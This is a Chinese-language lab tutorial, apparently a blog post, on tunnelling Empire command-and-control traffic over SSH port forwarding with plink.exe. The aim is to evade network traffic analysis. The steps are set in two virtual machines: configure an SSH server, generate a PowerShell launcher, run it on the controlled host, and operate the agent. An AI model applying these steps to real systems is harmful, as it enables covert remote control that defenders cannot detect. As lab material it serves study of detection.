利用SSH隧道加密技术隐蔽C&C通信流量
在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案。 |
在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案。
本文想通过标准的SSH的端口转发建立SSH形式的加密隧道,用于加密、隐蔽传输恶意流量,从而避免通过流量检测发现恶意行为。复现实验部分以C&C通信流量为例进入实验。通过SSH隧道进行加密和隐藏的C&C流量在外部流量特征分析仅表现为标准SSH流量。
本次实验使用Empire工具快速搭建C&C信道,本文只简要介绍对于Empire工具。在Windows平台下使用Plink.exe工具的SSH功能搭建SSH隧道。
SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是, SSH 还能够将其他 TCP 端口的网络数 据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”( tunneling),这是因 为 SSH 为其他 TCP 链接提供了一个安全的通道来进行传输而得名。SSH隧道的实现主要使用SSH的参数配置进行端 口转发,即将所需传输的数据内容通过加密的SSH隧道进行转发。 SSH 端口转发能够提供两大功能:1、加密 SSH Client 端至 SSH Server 端之间的通讯数据。2、突破防火墙的限制完成一些之前无法建立的 TCP 连接。
由于SSH的安全性,在数据跨越公网时其他人无法得知数据内容。SSH端口转发有本地转发、远程转发和动态端 口转发三种。本次实验主要以本地转发为例。
(1) 第1部分,-L选项表示使用“本地转发”建立ssh隧道。“本地转发”表示本地的某个端口上的通讯数据会被转发到目标主机的对应端口。
(2) 第2部分表示:通讯数据会从本地的9906端口上被转发,最终被转发到10.1.0.2的3306端口。
(3) 第3部分表示:我们创建的ssh隧道是连接到10.1.0.2上的root用户。
Empire是一个针对windows平台、提供从Stager生成到提取和渗透维持一系列功能齐全的渗透攻击框架,其最 大的特点是以PowerShell脚本作为攻击载荷,而且Empire实现了无需powerShell.exe就可运行PowerShell代理功 能,即它是一个纯粹的PowerShell后期漏洞利用代理工具。快速部署后期漏洞利用模块,内置模块有键盘记录、 Mimikatz、绕过UAC、内网扫描等等,并且能够适应通信躲避网络检测和大部分安全防护工具的查杀,简单来说 Empire类似于渗透神器Metasploit,是一个基于PowerShell的远程控制木马。
在实验虚拟linux系统中安装
git clone https://github.com/EmpireProject/Empire.git #进入setup目录进行命令行安装 cd Empire cd setup sudo ./install.sh
安装成功后,确认Empire目录下所有文件(目录)如下图:
使用 ./empire
启动Empire如下图,则成功安装。
实验说明:使用两台虚拟机ubuntu16 + windows 7,其中ubuntu16模拟控制端,windows 7模拟受控主机。
(1) 安装Open-SSH Server端
sudo apt-get install openssh-server
(2) 配置SSH Server端
编辑/etc/ssh/sshd_config
文件中允许口令登录PermitRootLogin配置如下图:
(3) 测试SSH登录是否成功
查看本机IP(linux命令:ifconfig),如在windows下的XShell工具下输入Server IP 输入登录名和密码,成功登入系统则SSH Server端搭建成功。
注:需要重启sshd服务:/etc/init.d/ssh resar
(4) 配置RSA密钥对认证登录
a) 生成rsa密钥对
ssh-keygen -t rsa
b) 开启sshd支持RSA认证选项,并添加认证公钥路径地址
c) 编辑/etc/ssh/sshd_config文件中的PubkeyAuthentication选项配置为yes,即:
d) 复制公钥到某用户home目录下的.ssh文件夹下,注必须使用以下命令在受控主机(本次实验使用win 7进行模拟)进行复制,否则文件权限设置易出错。
ssh-copy-id -i id_rsa.pub 主机登录用户名@192.168.81.137
e) 使用私钥进行登录ssh登录
ssh -i 私钥路径 主机登录用户名@192.168.81.137
注:使用putty、winscp等工具时需要先使用对应平台工具进行rsa私钥导入后转化为相对应文件格式,如本次实验使用putty工具导入生成私钥文件sshrsa.ppk。
Empire工具类似Metasploit,详细使用教程可参考一篇文章精通PowerShell Empire。
本次实验使用Empire生成简单的PowerShell脚本,建立最简单的C&C通信。下面简单概括主要步骤。
(1) 设置监听
listeners #进入的界面下可输入list查看以设置的监听 uselistener http #输入 info查看必填参数 set Name 4444 #本次实验通过SSH隧道通信,因此设置监听127.0.0.1:4444 set Port 4444 set Host 127.0.0.1 execute #创建命为4444的监听,监听127.0.0.1:4444上通信数据
示例如下:
(2) 生成简单的PowerShell利用脚本(针对windows)
launcher powershell 4444 # 4444为设置的监听名字 #可进入tagers生成其他木马、远控程序,本次实验直接生成最简单PowerShell利用脚本
注:生成的Powershell代码直接复制并保存,以备在受控windows主机(win7、win10)执行。
(1) windows下使用Plink.exe(putty工具集中可以在windows系统下使用命令行进行SSH连接)连接SSHServer
#需要首先进入Plink.exe文件所在路径 Plink.exe -ssh -l
登录用户名 -pw
登录密码 SSH
主机IP
(2) Plink相关参数
-ssh 指定使用特定连接协议
-l 指定登录用户名
-i 指定RSA私钥登录
-L 本地转发
(3) Plink端口转发设计
plink.exe -ssh -i sshrsa.ppk am00n@192.168.81.137 -L 4444:192.168.81.137:4444
将本地端口(4444)转发到远程目标主机(192.168.81.137)的目标端口(4444)。
注意:以上命令执行成功后,需要保持命令行不要关闭。同时可以组合使用SSH的其他参数进行后台运行、不交互等。
(4) 使用(2)中生成的PowerShell脚本,使受控主机上线
a) windows 7虚拟机另外开启一个CMD窗口,复制PowerShell脚本执行。可以看到受控主机以上线。
5) ubuntu端切换到agents界面,list命令查看如图:
6) 通过interact命令则可以使用以建立的控制信道控制受控主机,如通过简单的ls命令测试成功如下图:
7) 至此以成功使用SSH隧道传输C&C通信流量,后续可在此基础上设计实现其他C&C控制命令及其它恶意功能。
通过本次实验可以看出,攻击者可以利用类似SSH的公共服务或可用技术辅助攻击,且其实现也非常容易。
(1) 搭建SSH服务,并配置为RSA私钥登录(也可以配置为免密登录)。
(2) 使用工具(如Empire、Metasploit等)构建C&C。
(3) 利用SSH的端口转发搭建SSH隧道。
(4) 配置C&C和SSH参数使二者配合实现加密、隐藏恶意流量的目的。
利用SSH隧道加密技术隐蔽C&C通信流量的更多相关文章
- 利用SSH隧道技术穿越内网访问远程设备
本文为作者原创,转载请注明出处:https://www.cnblogs.com/leisure_chn/p/11899478.html 通常,我们用于调试的计算机无法远程访问位于局域网中的待调试设备. ...
- [视频教程]利用SSH隧道进行远程腾讯云服务器项目xdebug调试
我的远程服务器是腾讯云的ubuntu系统机器,本地我的电脑系统是deepin的系统,使用的IDE是vscode.现在就来使用本地的IDE来调试腾讯云中为网站项目实现逻辑是访问网站域名后,请求被转发给腾 ...
- SSH隧道技术----端口转发,socket代理
原文的原始出处不详,本文也是在复制引用了某篇转载,并做了必要的整理与编辑. 本文的受众 如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写 ...
- SSH隧道技术简介
本文的受众如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写程序,查数据,下电影). 公司为了防止我们用XX软件封锁了它的端口或者服务器地 ...
- 【原创】利用动态二进制加密实现新型一句话木马之PHP篇
概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...
- ssh隧道详解与案例利用讲解
原文阅读:https://www.52stu.org/?p=206 你是否有过自己身处内网,却想整个远控上线?你是否有过身处目标内网,却想把目标的内网的Linux的ssh转发出来?你是否想过穿透多层网 ...
- ssh隧道技术
大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的需求以及在网上查找的资料配合自己的实际操作所得到的一些心得. SSH ...
- Linux SSH隧道技术(端口转发,socket代理)
动态转发(SOCKS5代理): 命令格式:ssh -D <local port> <SSH Server> ssh -fnND 0.0.0.0:20058 172.16.50. ...
- 通过 SSH 隧道方式图形化连接 AIX 服务器
跳转到主要内容 登录 (或注册) 中文 [userid] IBM ID: 密码: 保持登录. 单击提交则表示您同意developerWorks 的条款和条件. 查看条款和条件. 需要一个 IBM ID ...
随机推荐
- 【小测试】使用腾讯云上的群集版redis
具体的文档请见:https://cloud.tencent.com/document/product/239/3205 群集版本相当于很多个redis进程构成一个群集,最大支持128个分片(猜测分片就 ...
- Chrome DevTools 面板全攻略
李华西,微医云服务团队前端开发工程师,喜欢瞎折腾,典型猫奴 Console 面板 此章节请打开 devtools/console/console.html 一起食用 一方面用来记录页面在执行过程中的信 ...
- nmap 查看主机上开放的端口
作用: 检测网络上的主机检测主机上开放的端口检测操作系统,硬件地址,以及软件版本检测脆弱性的漏洞(Nmap的脚本) 扫描方式: 1. -sS Tcp SYN Scan 不需要三次握手,速度快 ...
- Flink源码学习笔记(3)了解Flink HA功能的实现
使用Flink HA功能维护JobManager中组件的生命周期,可以有效的避免因为JobManager 进程失败导致任务无法恢复的情况. 接下来分享下 Flink HA功能的实现 大纲 基于Zook ...
- Typora + picgo + Chevereto 优雅地上传图片
需求:由于经常使用typora写文章,但是配合picgo使用的sm.ms图床,github图床等,速度不稳定,因此我们想要利用自己的服务器搭建自己的图床,将自己文章的图片上传到自己的服务器中,优雅地写 ...
- Java微服务监控及与普罗米集成
一. 背景说明 Java服务级监控用于对每个应用占用的内存.线程池的线程数量.restful调用数量和响应时间.JVM状态.GC信息等进行监控,并可将指标信息同步至普罗米修斯中集中展示和报警.网 ...
- AT2395 [ARC071C] TrBBnsformBBtion
基于观察,可以发现以下两条性质: A 可以到 BB,BB 也可以到 A,对 B <-> AA 也是同理的. 可以通过这两个操作交换相邻元素. 对于前者,只需证明 BB 可以到 A 即可,不 ...
- go 把固定长度的数字写入字节切片 (byte slice),然后从字节切片中读取到并赋值给一个变量:
// write v := uint32(500) buf := make([]byte, 4) binary.BigEndian.PutUint32(buf, v) // read x := bin ...
- CABasicAnimation基础核心动画
核心动画之作用在层上面. 动画的本质是改图层的某一个属性. CABasicAnimation *anim = [CABasicAnimation animation]; 图层有 ...
- c语言字符串函数详解
转载请注明来源:https://www.cnblogs.com/hookjc/ oid *memset(void *dest, int c, size_t count); 将dest前面count个字 ...